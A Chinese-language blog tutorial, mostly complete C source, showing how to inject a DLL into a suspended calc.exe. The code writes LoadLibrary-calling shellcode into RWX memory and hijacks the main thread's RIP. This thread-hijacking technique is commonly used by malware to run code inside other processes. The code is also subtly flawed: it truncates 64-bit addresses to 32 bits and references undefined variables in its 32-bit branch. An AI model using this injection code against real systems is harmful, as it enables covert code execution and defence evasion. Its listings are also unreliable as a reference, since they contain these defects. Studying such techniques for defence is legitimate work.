掛起進程注入

掛起進程注入,注入手段利用LoadLibrary


    1 CreateProcess時,指定參數CREATE_SUSPENDED。這樣將新創建的進程掛起(不運行)
    2 獲取進程的主線程的上下文環境。注意因爲是以掛起方式創建進程,所以主線程默認是掛起的
    3 寫入shellcode到目標進程
    4 修改主線程的上下文環境中的rip/eip
    5 設置新的上下文環境
    6 恢復線程執行

#include "stdafx.h"
#include <Windows.h>

#define CODE_SIZE 40	//code 後面應該緊接着數據

CHAR shellcode[] = {
	0x68, 0x78, 0x56, 0x34, 0x12,		//push org rip 這裏需要修正

	0x41, 0x51,							//push r9
	0x41, 0x50,							//push r8
	0x52,								//push rdx
	0x51,								//push rcx
	0x50,								//push rax

	0x48, 0x83, 0xEC, 0x28,				//sub rsp, 28 

	0xB9, 0x78, 0x56, 0x34, 0x12,		//mov ecx, 0x12345678 這裏需要修正
	0xB8, 0x78, 0x56, 0x34, 0x12,		//mov eax, LoadLibrary 這裏需要修正
	0xFF, 0xD0,							//call rax

	0x48, 0x83, 0xC4, 0x28,				//add rsp, 28 

	0x58,								//pop rax
	0x59,								//pop rcx
	0x5A,								//pop rdx
	0x41, 0x58,							//pop r8
	0x41, 0x59,							//pop r9

	0xC3,								//ret 返回到原來的Rip, 這裏很關鍵

//offset = 40 分頁地址是對齊的,數據放在這裏應該也是對齊的, 一行25個字節,10行250個字節,存放DLL路徑夠用了
	0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
	0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
	0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
	0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
	0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
	0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
	0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
	0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
	0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
	0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
};


//修復shellcode中的兩處絕對地址
//oldRip 線程掛起前的RIP
//pfn Messagebox的地址
//偷懶起見, 這裏利用for循環找0x12345678,找到了就修復,否則需要去數數比較麻煩
void FixShellCode(DWORD oldRip, DWORD lpParam, DWORD pfnLoadLibrary){
	for (int i = 0; i < sizeof(shellcode); ++i){
		if (*(DWORD *)(shellcode + i) == 0x12345678){
			*(DWORD *)(shellcode + i) = oldRip;//修復RIP
			break;
		}
	}

	for (int i = 0; i < sizeof(shellcode); ++i){
		if (*(DWORD *)(shellcode + i) == 0x12345678){
			*(DWORD *)(shellcode + i) = lpParam;//修復LoadLibrary的參數
			break;
		}
	}

	for (int i = 0; i < sizeof(shellcode); ++i){
		if (*(DWORD *)(shellcode + i) == 0x12345678){
			*(DWORD *)(shellcode + i) = pfnLoadLibrary;//修復LoadLibrary的地址
			break;
		}
	}

}

int _tmain(int argc, _TCHAR* argv[])
{

	LPVOID pszRemoteBuffer = NULL;
	STARTUPINFO si = { 0 };
	PROCESS_INFORMATION pi = { 0 };
	CONTEXT context = { 0 };
	SIZE_T dwWriten = 0;

	si.cb = sizeof(STARTUPINFO);
	si.wShowWindow = SW_SHOWDEFAULT;
	
	//1 以掛起的方式創建進程,這裏注入計算器
	BOOL bRet = CreateProcess("C:\\Windows\\System32\\calc.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED,
		NULL, NULL, &si, &pi);
	if (!bRet)
	{
		printf("CreateProcess 失敗");
		return -1;
	}

	//2 獲取線程上下文
	context.ContextFlags = CONTEXT_FULL;
	bRet = GetThreadContext(pi.hThread, &context);
	if (!bRet)
	{
		printf("GetThreadContext 失敗");
		return -1;
	}

	

	//3 申請內存
	pszRemoteBuffer = VirtualAllocEx(pi.hProcess, NULL, USN_PAGE_SIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	if (pszRemoteBuffer == NULL)
	{
		printf("VirtualAllocEx 失敗");
		return-1;
	}

	printf("pszRemoteBuffer=%p shellcode size=%d\n", pszRemoteBuffer, sizeof(shellcode));

	//4 修復shellcode中的幾個絕對地址
	strcpy(shellcode + CODE_SIZE, "D:\\VS\\DllToInject\\x64\\Release\\InjectDll.dll");
	FixShellCode(context.Rip, (DWORD)pszRemoteBuffer + CODE_SIZE, (DWORD)LoadLibrary);
	

	//5 在遠程申請的內存空間中寫入shellcode
	if (!WriteProcessMemory(pi.hProcess, pszRemoteBuffer, shellcode, sizeof(shellcode), &dwWriten))
	{
		printf("寫入shellcode失敗");
		goto SAFE_EXIT;
	}

	printf("shellcode write bytes:%d\n", dwWriten);
	printf("rip=%p\n", context.Rip);
#ifdef _WIN64
	context.Rip = (DWORD)pszRemoteBuffer;
#else 
	newContext.Eip = (DWORD)g_lpBuffer;
#endif

	printf("rip=%p\n", context.Rip);
	//6 設置新的上下文
	bRet = SetThreadContext(pi.hThread, &context);
	if (!bRet)
	{
		printf("SetThreadContext 失敗");
		goto SAFE_EXIT;
	}

	//7 喚醒主線程
	bRet = ResumeThread(pi.hThread);
	if (bRet == -1)
	{
		printf("ResumeThread 失敗 Errcode=%d\n", GetLastError());
		goto SAFE_EXIT;
	}

	//等shellcode運行完畢,然後再釋放內存 VirtualFreeEx
	Sleep(3000);

SAFE_EXIT:
	VirtualFreeEx(pi.hProcess, pszRemoteBuffer, USN_PAGE_SIZE, MEM_DECOMMIT);
	CloseHandle(pi.hProcess);
	CloseHandle(pi.hThread);
	return 0;
}

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章